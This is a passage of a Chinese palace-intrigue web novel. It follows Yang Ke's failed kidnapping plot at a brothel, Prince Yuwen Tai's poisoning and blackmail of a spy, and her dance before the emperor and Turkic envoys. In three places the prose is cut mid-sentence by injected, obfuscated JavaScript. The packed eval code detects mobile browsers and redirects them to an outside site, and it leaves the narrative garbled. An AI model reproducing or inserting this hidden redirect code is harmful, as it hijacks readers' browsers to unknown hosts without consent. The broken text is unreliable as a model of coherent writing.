红娘垂眼打量了下这男子,娇声道:“公子年纪不大,胃口倒不小。芮伊现在可不便宜,找她的人排到宫门去了。” 公子平静地回:“最高价是多少?我出双倍。” 红娘脸上一惊,瞬间又恢复了笑意,随口诹了个价格道:“两万贯呢,恐怕那铜钱垒起来比公子还要高,不知道公子出不出的起啊?”说完,便伸手作要钱状。 男子打量着酒楼四周,朗然道:“这么着急?” 红娘往他身上歪去:“还不是怕公子不辞而别。” 男子转头朝她微微一笑,红娘瞬间明白了意思,大声呼道:“元英,还不快带公子去见芮伊!” 元英走了过来,拉着红娘,为难道:“妈妈,芮伊现在陪着江大人呢。” 红娘的笑容瞬间隐去:“你怎么不早说!江大人不是在四楼吗?怎会突然去找芮伊了?” 元英苦道:“我哪知道,这人行踪怪得很,方才还在四楼的。” 红娘低声喝道:“我都答应客人了,这可怎么办?” 元英试探道:“那先带他去四楼的厢房?” 红娘眼珠子滴溜溜地转了一圈,转首对着男子道:“公子,您想必也知道,就连成亲也讲究三茶六礼,这好东西自然要循序渐进才能品得出珍贵来。您头一回来我们紫英阁,若是径直带您见了最出众的,往后再瞧其他姑娘,可不就没了滋味。今晚呐,不妨先让元英陪着您,待下次公子再来,我便安排芮伊作陪。元英她虽不是我们这的头牌,但论起谈诗坐道,那可是不输芮伊的。您看,这样安排可好?” 公子浅笑道:“有劳红娘这般周全考虑。既然芮伊今日不便,在下也不好强求。适才听元英姑娘提及要引我前往四楼,鄙人早闻紫英阁藏有佳酿,今晚独坐小酌,倒不失为一桩雅事。” 红娘见他并不刁钻为难,放下了心来:“多谢公子体谅。”冲元英招手,“快带公子上四楼雅间。” 这公子跟随着元英缓缓上楼,来到了四楼,进了厢房。 “公子,您要点什么酒?” “一壶桃花酿即可。”元英心里暗自称奇,桃花酿只有紫英阁的常客才能喝到,可这公子头一回来,竟直接点名要喝桃花酿,再一打量,此人举手投足间又透着一股贵气,看来并非寻常之辈。 “那公子要温的还是凉的?” “随你。酒放在门口即可,我想先在此处小憩一会。” 元英乖乖福身退下:“是。” 此时,杨柯早已到了江植所在的厢房外,趴在窗户上偷听了一会,里面安静异常,竟无人声。 “好生奇怪,怎么一句话都不讲?”杨柯一面犯疑,一面伸指甲挑破窗纸,凑眼向里张望,厅里灯火辉煌,却只照亮了北侧,南侧靠窗那处却乌黑一片。 “难道躲起来了?”她掏出怀里准备好的迷香,探了进去。等到迷香开始起了作用,才起身奔向走廊尽头的小窗,朝着窗外吹了声口哨,楼底下跃出一个人影,斜楞眼儿沿着墙跟儿攀了上来。 杨柯立即转身往厢房悄悄走近,一推门才发现,房里空无一人。 “人呢?” 忽然肩上被人一拍,她立刻警觉,抓住来人的手顺势一掰,怎料对方反应更快,还没等杨柯发力,便率先抽出,反擒住她的手。 杨柯定睛一看,竟是宇文泰!他身着常服,脸上还覆着面具,看来是有备而来。原来他和江植早就串通好了,杨柯心里的猜想终于坐实,于是恨声道:“好啊,连你也来了,江植是不是被你藏起来了?” 宇文泰笑道:“杨姑娘在说什么,在下怎么听不懂?” “装什么糊涂!你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323545|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伙同江植控制军粮,想要蚕食国库,别以为我不知道!”趁着宇文泰思考之际,她手腕一扭,以巧劲挣脱了他的束缚。 宇文泰微微一愣,还未及反应,杨柯已借势反扑,右手如灵蛇般探出,往他胸口击去。 他身形微侧,却不还手,反而调笑道:“前几日还在瑞麟殿救了你,你怎么反倒恩将仇报了?” 杨柯闻言心中更恼:“一码归一码,你救了我是没错,但你为官害民也是真!”说着探出左手往他肩头抓去。杨柯虽学了轻功,但手上功夫却是三脚猫,几招下来便露了怯。宇文泰早已看出,任由她指尖触及自己衣衫,可在最后一刻忽然抬手,轻轻一拨,便将她的力道引向一旁。 杨柯身子一倾,险些失去平衡,宇文泰顺势一揽,将她拉入怀中。 杨柯惊呼一声,还未及挣扎,宇文泰已反手扣住她手腕,将她双手牢牢锁在身后。 “放开我!” 宇文泰俯首凝视着她,调笑道:“适才不是打得很欢么,怎么现在又要我放手?” 杨柯倒是不怒了,露出一抹甜笑:“你不放手倒也可以。” 宇文泰含笑微眯:“愿意认输了?”话音还未落,杨柯抬脚往他下身攻去,可还是被他的大手给擒住。 “你还真是一条路走到黑。”宇文泰眸中起了怒意,抓住她右腿的手狠狠往外一抛。 杨柯哪里受得住这力气,立时便应声往后倒去,摔了个四仰八叉,疼得是呲牙咧嘴。 “好你个宇文泰!来硬的是吧?”她一边支起身子,一边咬牙切齿,好不容易坐了起来还想再战。 宇文泰负手而立,冷冷地俯视着她:“省省吧杨柯,你根本不是我的对手。” 杨柯也冷笑道:“哼,你以为只有我一个人?” 宇文泰略一扬眉,视线跟着杨柯的投向了刚刚跳窗进来的斜眼。 杨柯一个起身蹦了起来,双手叉着腰,冲着宇文泰得意洋洋道:“他可是江湖上的厉害角色,早就把你的江植抓走了。” 可那斜楞眼儿见了杨柯身旁的宇文泰,立即面如土色,哆嗦着腿道:“姑娘,这事我可办不了……” 杨柯急道:“你怎么回事?不是说好了吗?” 斜眼苦着脸:“你也没告诉我对方是谁啊!” “什么意思?收了钱还想反悔?” 斜眼儿结结巴巴道:“那……那把钱退你吧。”说着从脚底抠出了几个碎银,一脸谄笑,“还留了这么些,其余的也算是辛苦钱?” 杨柯又是怒又是急,但拿他也没办法,只好朝他匆忙摆手:“你你你……快走吧!” 斜楞眼儿并不看她,反倒是对着宇文泰拱手作揖,堆着笑倒退了出去。 杨柯心中奇怪,这人见了宇文泰便立刻倒戈,难道朝廷的身份这么管用? 正思索着,忽听耳边戏谑声响起:“杨柯,我说你聪明倒也聪明,怎么办事如此不靠谱,绑架这种事,竟找些下九流来做。” 杨柯听了顿觉好笑:“难不成要找官府来办?”又故作恍然大悟,“哦!我倒是忘了,官府也得听殿下的。” 宇文泰竟也应承下来:“那倒不必。我虽负责刑部,但这等小事根本到不了本王跟前。” 杨柯见他这幅模样,更加咬牙切齿:“你身为六部之长,竟联合商人贪污受贿,还好意思声称自己执掌刑部?” 宇文泰挑眉轻笑:“我就是贪污受贿,你能将我如何?” 杨柯见他耍起了无赖,心中气急,朝他猛啐一口:“你这个蛲虫!” 宇文泰不怒也不急,反而悠然自得地朝她靠近:“蛲不蛲虫的我不清楚,但杨姑娘你……” 忽然杨柯后颈脖子一麻,眼前一黑,整个人栽倒在地上。 “把她绑起来!” 25.威胁 窗外暮色突然被火把撕碎,四名皇子亲卫身穿便服,破门而入,将地上的杨柯一把薅起来,“哎哎哎,你们要做什么?” 宇文泰立于一旁冷眼旁观,凉凉道:“做他们该做的事。” 杨柯狠狠瞪了他一眼,可是双手却已被侍卫铁钳一般的力气紧紧箍住,“放开我!你是掌管刑部的王爷,你不能滥用私刑!” 宇文泰挑了挑眉:“私刑?你哪只眼睛看到我对你用刑了?” 杨柯大声道:“你动用亲兵、擅自绑架!” 宇文泰嗤笑出声:“这事杨姑娘不是刚刚做过?”话音还未落,杨柯便被五花大绑,像个麻袋一样被粗暴地扔在了里头的榻上,屁股和床榻狠狠来了个嘴对嘴,她顿时疼得哇哇大叫:“宇文泰!你罪该万死!” “把她嘴巴封上!”一声喝令下,杨柯的嘴便被塞入了一团麻布,“呜呜呜——” 宇文泰行至她跟前,投下的高大阴影笼罩着她,“劝你省点儿力气,再乱叫可别怪我不客气。” 见他眸中怒气已盛,杨柯害怕他一个冲动把自己给了结了,于是安静下来,乖乖靠在榻上。宇文泰轻乜了她一眼,转身走回中厅。望着他的背影,杨柯更觉无奈,现下硬碰硬是没办法了,只能慢慢磨。可杨柯发现,到了关键节点上,她既琢磨不明白,更做不明白。她只恨自己平日里光顾着顽耍,书到用时方恨少,都被他五花大绑了,也只能两眼一抹黑,眼瞅着罪犯干瞪眼。 “江植呢?”宇文泰的声音在中厅响起,听到这三个字,杨柯立马竖起了耳朵。 “殿下莫急,掌柜的马上就来。”话毕,屋里走进一个中年男子,身着青色粗布长褂,脚蹬黑色布鞋,他身后还跟着个侍从,见了宇文泰,含笑拱手道:“草民参见王爷。” 原来此人就是江植,杨柯一时气血上涌,开始扭动身体、呜呜乱叫起来,扰得周围侍卫不堪其烦,唯有宇文泰闲坐椅上,小口浅酌桃花酿。 江植的视线移向榻上的杨柯:“那位姑娘?” 宇文泰舒然自若:“不用管她。” 江植将视线收回,欠身道:“本月的一万石粮食昨夜已经抵达了朔州,还请殿下安心。” 宇文泰放下酒杯:“嗯。周焕那边有何进展?” 江植道:“前几日的调查已经有结果了。” “哦?” “他安排家奴在闸口开的顺风茶铺,正是贩卖加急凭证之处。”江植忽然掀开带来的樟木箱,露出里头的二十锭银两:“今日午时,周焕刚用这批银子换了滁州春红楼头牌。” 宇文泰脸色渐沉:“印记都留下了?” “都留下了。”说完,江植拿出其中一个元宝,底下露出了淡淡的红色,“草民特地选了雍州的茜草汁,无色无味。殿下放心,除非故意让其显色,光凭气味,让狗来闻都闻不出个名堂来。” 宇文泰满意点头:“干得不错。” 江植脸上露出短暂喜色,旋即又拧起了眉头,“这回粮船行至青峡关,硬生生滞留了三日之久。这狗日的周焕专挑申时拦船。申时江上船只往来最为频繁,正是运输繁忙之时,这一拦,得误了多少事!”说着伸手取来账册,将其推过红木案几,指尖在“每船加急疏通费三千贯”处重重一叩,愤懑骂道,“他的胃口也是越来越大了!前个月还只敢要一千贯,如今竟涨到这般地步。照我看,他那间顺风茶铺也别卖茶了,改做钱庄得了!” 一旁的宇文泰反而慢悠悠地翻着账册:“周焕为了买漕运使这个肥差,给了田咏一千两银子,他自然贪多不厌。”话落,他终于抬眸看向江植,扬唇一笑,“不过,江老板这账倒是记得精细。” 江植嘿嘿一笑:“殿下打趣草民了。做我们这行,账目要是记不清楚,那可就等着倾家荡产吧。” 他带来的侍从正在一旁分茶,无名指抵住壶嘴三寸处的云雷纹,执壶的手腕更是稳得惊人,碧绿茶汤在五只兔毫盏间划出分毫不差的弧线。 宇文泰眼中闪过一道冷光,但面上仍是和煦:“江老板福分不浅,招来的侍从竟有这般精湛茶艺。” 江植一听,便知他话中有话:“殿下若是喜欢,我把他送到羲王府上去。” 宇文泰并不接话,而是问道:“您可听过‘七分茶满’的规矩?”他对江植递去一个意味深长的眼神,“要说深谙此道的,还是田咏田大人。” 江植眼珠子一转,立刻会意,顺势接道:“殿下何出此言?” “他独创的‘节流分茶法’,专为控制每盏茶汤七分满。三年前父皇寿宴,我见他用此法给父皇分茶,一滴水都未漏出。” 江植奉承道:“那圣上定是龙颜大悦,宫大人也跟着沾光。” 宇文泰嗤笑一声:“田咏跟着宫询讨得了不少好处,两年连升三品,如今做到吏部左侍郎,不知道的还以为他是宫家的私生子。” “当是奉茶奉得宫大人高兴了!”江植视线一转,堆起笑来,“殿下身份尊贵,平日里见多识广,若阿四能有田大人一半的伶俐心思,在侍奉王爷时,能把王爷也哄得开怀,那可真是大功一件。” 阿四顺势接道:“阿四能侍奉殿下,当是这辈子的荣幸。” “嘴挺伶俐。”宇文泰浅啜了一口茶,“不过,瞧你的眉眼,倒是让我想起田侍郎府上的狸奴。” 阿四赶紧跪下,皂靴在青砖上碾出半道湿痕:“阿四……阿四从前只是个唱戏的,不认得什么田大人。” 江植解释道:“殿下,阿四是我从码头救来的小叫花子,他自小命苦,没了爹娘,从前在倡馆唱戏。” “是么?”宇文泰倾身上前,手上的玉扳指扣住他后颈,“既然你不认得田大人,可你无名指抵住壶嘴的位置却跟他分毫不差,此等手法难道是田咏在倡馆里头教你的?” “殿下明鉴!”阿四的额头重重磕在碎瓷上,“小人当真不认得田大人……” 宇文泰皱了皱眉,不耐烦道:“把他衣服掀开。”身旁侍卫一把扯下阿四的衣领,露出了里头的青雀纹——大夏官宦人家专给异族奴隶烙下的印记。 江植上前大吼道:“混账东西!我把你从死人堆里救出来,缘是带了条毒蛇回家啊!” 阿四跪爬到江植腿边,哭嚷着抱住他的大腿:“掌柜的,小人也是受人逼迫,不得已呀!” 江植一脚踢开他:“我当不起你的掌柜的!” 阿四又爬着跟了上去:“您是我的掌柜的,若没有您,阿四早就被那群地痞打死了。” 江植这下不再踢他了,而是冷声问道:“你早就知道我会到码头上去?” 阿四呆了呆,接着答道:“田大人命奴才蹲守在码头,奴才等了三日也不见您来。后来碰上了地痞陈大麻,他从前就认得我,知道我进了田府,如今见我被赶出门,便带了一众弟兄要来找我麻烦,多亏了您出手相救,才将奴才从鬼门关拉了回来。” 见江植神色凝重,又哭嚷道:“求掌柜的开恩!” 宇文泰上前拍了拍江植,示意其退后。他蹲下身子,从怀里拿出一方雪帕替阿四按住伤口,又掏出青瓷药瓶:“这雪参膏最能止血。” 阿四感激地渗出眼泪,可那药粉撒在伤口时却泛出诡异的靛蓝色,他顿觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337198|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寒彻骨髓,只听面前的宇文泰继续道:“可惜它毒性太强,每六个时辰需饮一次解药。” 阿四吓得浑身哆嗦:“殿下饶命啊,殿下饶命啊!” “放心,我会给你活命的机会。”宇文泰缓缓起身,手指摩挲着玉扳指,“告诉田咏,他养在越州的私生子左耳后有颗朱砂痣。” 阿四眼皮一跳,刚要张嘴,却见宇文泰抬起手,“若田大人愿意合作,兵部可保大人在《漕案罪臣录》里只是失察。”他低沉一笑,“红黑两条路,摆在他面前,如何抉择,他自个儿掂量。” 阿四赶忙点头:“小的明白!” “我给你们七日的时间,”宇文泰神色冷峻地俯视着阿四,“若七日后本王从塞外归来,还未见到吏部密档房的钥匙,你就跟田咏一起抱着他孩儿的断手,去跟阎王哭丧!”说完转身坐回到黄花椅子上,端起原先的酒杯,好以整遐道:“江老板,你是做生意的,眼睛还得擦亮些。” 江植躬身拱手:“多谢殿下提点。”说完,朝着跪着的阿四踢了一脚,“愣着干嘛?还不快谢过殿下!” 阿四忙不迭跪拜:“谢殿下开恩!谢殿下开恩!” 杨柯在偏厅的榻上目睹了一整个过程,从江植开口起,好不容易把他和宇文泰之间的“勾当”弄了个大约摸只的明白,后面又冒出来这阿四,等她意识到此人和田咏的关系,宇文泰的行径又让她云里雾里,这一趟下来,饶是将她的脑门烧出了烟。 “呜呜呜!”一只大手瞬间将她从榻上拎了起来,带到了中厅。此时,江植和阿四已经离开,只剩下宇文泰还留在这里。 “干什么?你从哪儿来,不应该回哪儿去么?”宇文泰负手而立,方才他威胁阿四的冷峻神色已经褪去,“带她上马车。” “是。”应声落下,一块黑布当即蒙住杨柯双眼,未及反应,她忽觉腰间一紧,浑身一轻,身子陡然离地,整个人被狠狠扛起。杨柯只觉天旋地转,身体随着侍卫的脚步一颠一簸,五脏六腑都似要被颠出位。紧接着,“砰”的一声闷响,她被扔到一处柔软所在,脑袋上的黑布也被“唰”地扯去。等她回过神来,自己已经在宇文泰的轿辇之中。 她望着掀袍走进的宇文泰道:“你要带我回宫?你不杀我?” 对方听了好笑:“怎么,你想让我杀你?” 杨柯赶忙摇头:“不想不想!”又念及方才厅内发生之事,不好意思地笑了笑,“抱歉,我一时糊涂,错怪了你们。” 宇文泰徐徐坐下,挑了挑眉:“知道就好。” “既然督粮官在兵部手里,为何殿下还要费那么大劲,专门找江老板入局?”她笑容渐显狡黠,“难道是为了寻条长远财路?” 宇文泰侧首眯眼:“杨姑娘觉得本王缺几个银子?” “君子爱财,有何不齿?”杨柯见他神色严肃,不愿跟自己继续玩笑,于是也正色起来,问道:“那是为何?” 他视线定住,凝视着她:“此事与你无关。若杨姑娘实在关心朝政,在下斗胆建议一句,您最好的做法就是不要多管闲事。” 忽地吃个瘪,杨柯不忿道:“你就不怕我把你的计划给说出去?” 宇文泰轻轻一笑:“你不会的。” 杨柯好奇道:“为何这么笃定?” 宇文泰嘴角勾起:“杨姑娘擅自出宫之事一旦败露,不仅你杨家三口性命难保,云昌吉还会因协助你出宫,连累云家满门。” 杨柯的怒气直窜脑门:“宇文泰!” 他悠然回过头去:“想来出身商贾之家的杨姑娘,如此简单的算盘一定能打明白。” 26.突厥 自从那晚绑架江植不成,反被宇文泰拿住把柄以后,杨柯对宇文泰的感情愈发复杂起来。经由此事,她算是亲眼指教了大名鼎鼎的羲王到底如何心狠手辣,也很难不承认自己对其有些佩服,但另一面又开始后怕起来。回想最初,自己当真是初生牛犊不怕虎,竟不知天高地厚地与这位阎罗王杠上,结果反被人拿捏住把柄。若是日后稍有不慎得罪了他,即便落得个挫骨扬灰的下场,到了阴曹地府,魂魄说不定还在稀里糊涂地为他卖命。同样是人,差距为何如此巨大?就凭自己这空空脑袋和三脚猫功夫,往后要如何面对这位活阎罗呢?想到此,杨柯不禁摇头轻叹。 “阿柯,你看到什么了,为何叹气?”今日是皇宫亲眷前往塞外的日子,乐白与杨柯同坐一轿,杨柯的脑袋像粘在了车窗上似的,一动不动地趴着。 杨柯摇了摇头,“小白,我的烦恼,你不会懂的。” 乐白的确不明白她到底在思索些什么,这几日都见不到她人影,更不知道杨柯到底在倒腾什么。只不过乐白在乎的是,现下没人陪她谈天,自己十分无聊,于是凑近轻声道:“那你趴了这么久,就不累啊?” 杨柯的脑袋终于离开了车窗,转首对她郑重其事道:“乐白,我与你不同。今日是我平生第一次见到皇家仪仗队,可得让我好好瞧瞧。”说完又趴了回去。 乐白无奈道:“好好好,我不烦你了。”说完,她掀起车帘,外面旌旗猎猎,战鼓声声。皇帝端坐于御驾之上,两侧倚仗队手举旌旗,羽林儿郎紧随其后,浩浩荡荡从神武殿门前进发,足足拖了有百米之长。似乎是见多了这样的场面,乐白倒是显得波澜不惊。不过杨柯实际想要搜寻的,只有伯喻的身影。不知道他今日穿的什么战甲,会有多么潇洒。可是皇子的坐骑紧跟着皇上,与她们的距离并不近,中间又隔着众位朝中将领,更是挡得严严实实。 乐白又倾着身子过来,凑到杨柯耳边说道:“阿柯,看战马是幌子,看伯喻才是真的吧。” 杨柯脸上蓦地一红,忙撇清道:“你说什么呢!” 乐白道:“我说错了么?” 杨柯无奈,只好承认:“说得倒也没错,不过你是如何发现的?” 乐白嬉笑道:“你天天在我身边,十句话里总要带一句伯喻,谁看不出来你对他的心思?” 杨柯咕哝道:“竟然如此明显?” 乐白逗她道:“对呀,就差跑到翠微殿前大声宣告了。” 杨柯想到伯喻和影刃阁的事情,不免开始担心起来,眼帘耷拉下去,又趴回到车窗上去了。 乐白看得疑惑:“诶,怎么又不说话了?” 颠颠簸簸过了一日,终于到了塞外,天色却已经全黑。酉时,北方的突厥部落也依约赶至营地。因突厥在北方势力庞大,其态度对边境安稳影响深远,故而皇帝极为重视此次会面,特意举办晚宴,迎接察尔格王爷。 皇帝端坐在主位之上,头戴九龙冠,察尔格王爷则坐在皇帝的左首,随他一同前来的突厥贵族列座其后。 察尔格起身行至中央,撩起突厥袍下摆躬身施礼:“吾皇万岁!陛下赐千匹丝绸,此等厚意,突厥感怀至深!为表谢意,今特率族中歌舞团,前来为陛下与诸位大人助兴。愿陛下与诸君今日尽欢,一醉方休!” 皇帝抬手道:“好!这番心意,朕心领了。这些丝绸,若贵部用得称意,朕即刻传旨户部,再为突厥筹备一批。” 伯喻起身拱手:“父皇说得是。若突厥诸位有需,儿臣即命户部精选上等蚕丝,定让每匹皆显我朝工艺之妙,不负父皇所托,亦不辜负突厥喜爱。” 杨柯早望见伯喻的身影,见他起身,视线也跟了过去。他的身段儿着实好看,施起礼来也赏心悦目。 皇帝满意道:“嗯,今年内库充裕,你们户部的提库司功不可没。” 伯喻道:“多谢父皇,提库司司长张意初张大人办事干练负责,平日里对库藏账目、物资出入盯得极紧。内库能有如今这番局面,他出力最多。” 一旁的宇文泰补充道:“张大人是今年的新科探花,他能进入户部,多亏了田咏举荐。” 皇帝道:“哦?看来田咏干的不错嘛。朕听易先生夸赞过这个张意初,下回带到勤政殿,朕要见见他。” 听到田咏之名,杨柯想起紫英阁那晚宇文泰威逼利诱的场景,一个没留神,一口水猛地呛进喉咙,顿时剧烈咳嗽起来,“吭吭” 的声响扰得四周之人纷纷侧目。 杨柯满脸歉意,匆忙间抬眼,恰好撞上对面宇文泰投来的警示目光,杨柯心里一紧,对其扯起一个微笑,对方视线悠悠一转,恍若无事。 宴会中央,突厥来的舞者们身姿婀娜,舞步灵动。一曲歌舞终了,丝竹管弦之音暂时停息。皇帝赞赏道:“察尔格,突厥的歌舞向来声名远扬,朕早年便听闻突厥舞姬舞步轻盈,今日亲眼得见,果然不同凡响。” 察尔格朗声大笑:“陛下过誉了。能够得到您的认可,是我们莫大的荣幸。”话锋一转,又说道,“我听说,大夏的公主们个个才艺出众,不知今日是否有幸能够欣赏到她们的表演?” 此言一出,宴会厅内的气氛立刻变得微妙起来。这次出塞,邀请了突厥王族参加,一是为联合军力、共击柔然,二则是能联成姻亲。无论是口头约束还是一纸契约,都没有两族血液相融来得有效。察尔格此议明为进献乐舞,实际暗藏和亲之意,因此大夏所选姝丽,难脱联姻之嫌。 宇文拓起身作揖:“父皇,儿臣听闻今年的女使个个才华出众,其中杨柯尤擅舞蹈,何不让她来献舞一曲?” 此言一出,席间寂静一片。杨柯头皮发硬,连她自己都不知道这事,心里连骂宇文拓混账。 皇帝眼眸一亮,目光落到了她身上:“朕早就从凝儿那听闻你伶牙俐齿,没想到你在舞蹈上还有所造诣,杨柯,你来代表我们大夏跳一支舞,如何?” 还没等杨柯回应,伯喻已经起身:“父皇,杨姑娘虽才貌双全,然属外臣之女,并非宗室亲族,不妨再择更适合的人选?” 皇帝听言微微挑眉,座下的宇文拓开口道:“七弟平素说话做事最是周全,今儿个怎的这般毛毛躁躁?当着突厥贵客的面,就要驳了父皇的面子?” 皇帝挥手说道:“无妨,喻儿,杨柯是我朝臣,也是我大夏儿女,代表大夏有何不妥?” 杨柯不愿伯喻为难,抢先道:“陛下,臣愿意献舞。” 一旁正往嘴里灌酒的乐白差点儿被呛住,赶紧低声提醒道:“阿柯,这可不是闹着玩的。”杨柯对她微微一笑,转首又朗声道:“不过臣听闻章姑娘尤善击鼓,想请陛下应允章姑娘协助 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351729|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臣一同表演。” 皇上拿眼梢扫了章家丫头一下,章可馨立马会意,脆生生答道:“可馨愿配合杨柯表演。” 皇帝点头赞道:“好!不愧是我大夏的女儿!” 杨柯看向伯喻投来的焦灼目光,冲他点点头,随即道:“陛下,今蒙疆贵宾在座,乐舞乃邦交之仪,容不得半点轻慢。臣斗胆向陛下索要一个物件,以成大礼。” 皇帝点头道:“嗯,你要什么?” “一把金错刀。”话音刚落,满座响起哗然与议论之声。 宇文拓嬉笑道:“乐姬跳舞用的皆是水袖,杨柯,你莫不是要在贵宾面前吞刀吧?” 皇帝荡了他一眼,对着杨柯倾身向前:“跳舞要刀做甚?” 杨柯不急不惧:“回禀陛下,臣所求非战阵之刀,乃铸金为错、嵌玉为饰的礼器。昔日江云尧将军西征时馈赠柔然王折柳刀,以金错工艺铸‘胡越一家’四字,正合今日邦交之仪。" 皇帝听言满意颔首:“好,朕就依了你的心意。” 内监端来了半尺长的鎏金匕首,刀身九道赤绳缠着孔雀翎羽,在烛火下折射出青碧流光,杨柯接过金错刀,悬系在腰间,章可馨也起身来到战鼓面前。 “你要跳什么?” “《拓枝乐》。”章可馨点头,接着在鼓前坐好,二人头一回如此默契。 杨柯转身面向中央的皇帝,欠身行了一个礼。 “咚!擦!”鼓槌砸出第一声炸响,杨柯左脚尖碾着地毯旋出半圈,右手反握金错刀贴住后腰,左手倏然高举过头顶,腕间银铃发出密匝匝的脆响,漂浮在鼓点尾梢的嗡鸣中。 “咚!咚!咚!”三声重鼓追着铃音砸下,杨柯应声劈叉下腰,火红裙裾“唰”地燃了一地。“起!”槌尾扫过鼓钉,锵啷啷一串金属颤音炸开,杨柯发力跃起,整个人化作张满的银弓,接着手臂一展,右手的金错刀劈开三重裙摆,左臂却柔若春藤,碾着裙带甩出重重涟漪。 “咚!”一声闷响后,杨柯双手攥住飞扬的裙带猛然一抛——“唰!”石榴红绡如赤蛇凌空急窜,缠住帐顶的楠木横梁,杨柯借势腾空倒翻,双腿绞住绸带疾转三圈,裙摆遇风舒展,化作十四片烈焰花瓣。随着鼓点渐渐放慢,她也收势落地,火红裙摆柔若无骨地旋开,唯有铃声清脆作响,化作细碎流光。 “咚咚咚咚!”鼓声骤然急转,杨柯一跃而起,踩上鼓阵,她忽而踏着龟兹跺步震响左鼓,忽而以汉家云步轻抚右鼓。章可馨趁机猛敲两面立鼓追上她的足印,只见鼓上人双臂交叠如孔雀开屏,火红裙裾倒卷如浪,露出雪白脚踝。 “接着!”杨柯突然将金错刀抛向鼓阵,章可馨朗然一笑,手中鼓槌凌空击打刀背,寒光折返时正巧削断还未落地的绸带。她手下的鼓槌故意敲了个反拍,杨柯踉跄半步,顺势将刀柄插入鼓架,回身一旋,翩然落地。 “哐!”最后一声鼓槌轻叩鼓缘,火红裙裾犹如倦鸟归林,帐内唯有铃铛的余音将散未散。满帐烛火突然晃出重影,梁上烛灯的蜡油坠下,正巧滴在了角落里掀帘张望的侍卫身上,那人却浑然不觉,仍保持着探身向前的滑稽姿势。 “赏!”皇帝起身喝彩,众人也纷纷回过神来,拍手叫好。 皇帝走下台阶,来到垂首而立的杨柯面前,柔声道:“抬起头来。” 27.凌乱 杨柯抬首回视,皇帝的目光正紧紧锁在她的脸上,除了欣赏,她还嗅到一丝占有的欲望。杨柯立刻垂下眸子,欠身行礼:“多谢皇上,臣为各位献丑了。” “你的舞姿,让朕想起纪启明从前作的一首诗,惊鸿照影火浣绡……”皇帝说着拧起眉头,“下一句是……伯喻,后一句是什么?” 伯喻答道:“一舞烧尽九重霄。” “对,就是这句!”皇帝笑着回味,“惊鸿照影火浣绡,一舞烧尽九重霄。”他说着又靠近了一分,视线胶在杨柯的脸庞,声音也轻柔了下来,“柯儿,你今晚跳的这支舞,让朕有了当年征战沙场的快意。” 察尔格眸中精光一闪,顺势起身:“北方有佳人,遗世而独立。皇上,这位美人的舞不仅有大夏的云鬓步摇之雅,兼得突厥胡旋回雪之豪,陛下洪福齐天,得此兼具南北之秀的奇女子。” 皇上对察尔格的恭维十分受用,昂首大笑道:“察尔格,你说,朕该如何赏赐她?” 察尔格未来得及张嘴回答,伯喻已经抢先开口:“父皇,若论功行赏,可馨的鼓奏同样精彩,儿臣窃以为鼓点和舞姿正如琴瑟和鸣,缺一不可。” 皇帝的眼角微微动了动,视线转向一旁的章可馨:“嗯,可馨如今击起鼓来是越发纯熟了,你再练几年,尚音局的那帮人都得叫你师父。” 章二姑娘笑道:“可馨不敢当。若是姑父闲时想听听鼓乐,可馨便携鼓候在勤政殿前,等姑父累了,就进去给您奏乐醒神。” 皇帝仰头大笑:“你这丫头,若朕把你扣在勤政殿,你姑姑就要怪朕耽误你读书了!” 章可馨娇声道:“姑姑通情达理,哪里会责怪姑父。再说了,可馨才不会因为击鼓而耽误了功课。” 皇帝抚了抚她的头:“那就好!”话音结束,帐内又开始沉默起来。他的视线重又转回杨柯身上。杨柯心底一颤,头垂得更低了。 众人的目光皆流转在他二人之间,空气中满是不言自明的暧昧与危险。 宇文拓斜倚在案上,手上的狼首金樽送到嘴边,眼睛却不怀好意地笑睨着中央二人,他身旁端坐着的宇文泰缓缓启言:“父皇,您不觉得,杨柯的舞有些瑾妃娘娘当年的影子吗?” 听了宇文泰的话,皇上原本亮着的眸子暗了下去,视线也转到别处:“你倒是提醒朕了,瑾妃在她这个年纪,也给朕跳了一首胡旋舞。” 杨柯赶忙跪首:“臣怎么配和瑾妃娘娘相提并论,今日之舞若是与娘娘的舞姿相比,实在是班门弄斧。” 伯喻温言道:“父皇,二哥所言,正是儿臣想说的。杨姑娘舞姿翩跹,与额娘旧年舞《绿腰》时一般无二。” 皇帝转身回到座位,深叹道:“你额娘的舞在当年举世无双,过去这么多年,朕再也没见过了。” 宇文泰微笑道:“美人跳美舞,不仅舞技出众,更难得的是那份神韵与瑾妃娘娘年轻时颇为相似,儿臣斗胆建议,父皇不妨为杨柯封个官职,以示嘉奖,同时也让天下人知晓父皇对才艺的赏识。” 